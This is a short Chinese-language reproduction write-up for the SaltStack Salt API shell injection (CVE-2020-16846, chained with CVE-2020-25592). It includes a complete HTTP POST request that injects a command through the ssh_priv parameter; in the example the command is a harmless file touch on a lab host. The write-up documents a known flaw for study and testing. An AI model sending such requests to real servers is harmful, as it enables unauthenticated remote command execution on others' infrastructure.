SaltStack Shell 注入 (CVE-2020-16846)

SaltStack Shell 注入 (CVE-2020-16846)

Salt 是一种建立在动态通信总线上的基础设施管理新方法。Salt 可用于数据驱动的编排、任何基础设施的远程执行、任何应用程序堆栈的配置管理等等。

2020 年 11 月,SaltStack 正式披露了两个漏洞,CVE-2020-16846 和 CVE-2020-25592。CVE-2020-25592 允许任意用户使用 SSH 模块,CVE-2020-16846 允许用户执行任意命令。Chain 这两个漏洞将允许未经授权的攻击者通过 Salt API 执行任意命令。

参考:

漏洞复现

SaltStack-Master 启动后,会监听以下端口:

  • 4505/4506:SaltStack-Master 服务器,它是 master 和 minion 之间的桥梁
  • 8000:Salt 的 API 服务器,需要 SSL
  • 2222:容器内的SSH服务器

将以下请求发送至https://192.168.44.132:8000/run

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /run HTTP/1.1
Host: 192.168.44.132:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 87

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b

image-20211216151348085

touch /tmp/success通过ssh_priv参数注入命令:

image-20211216151401665

0%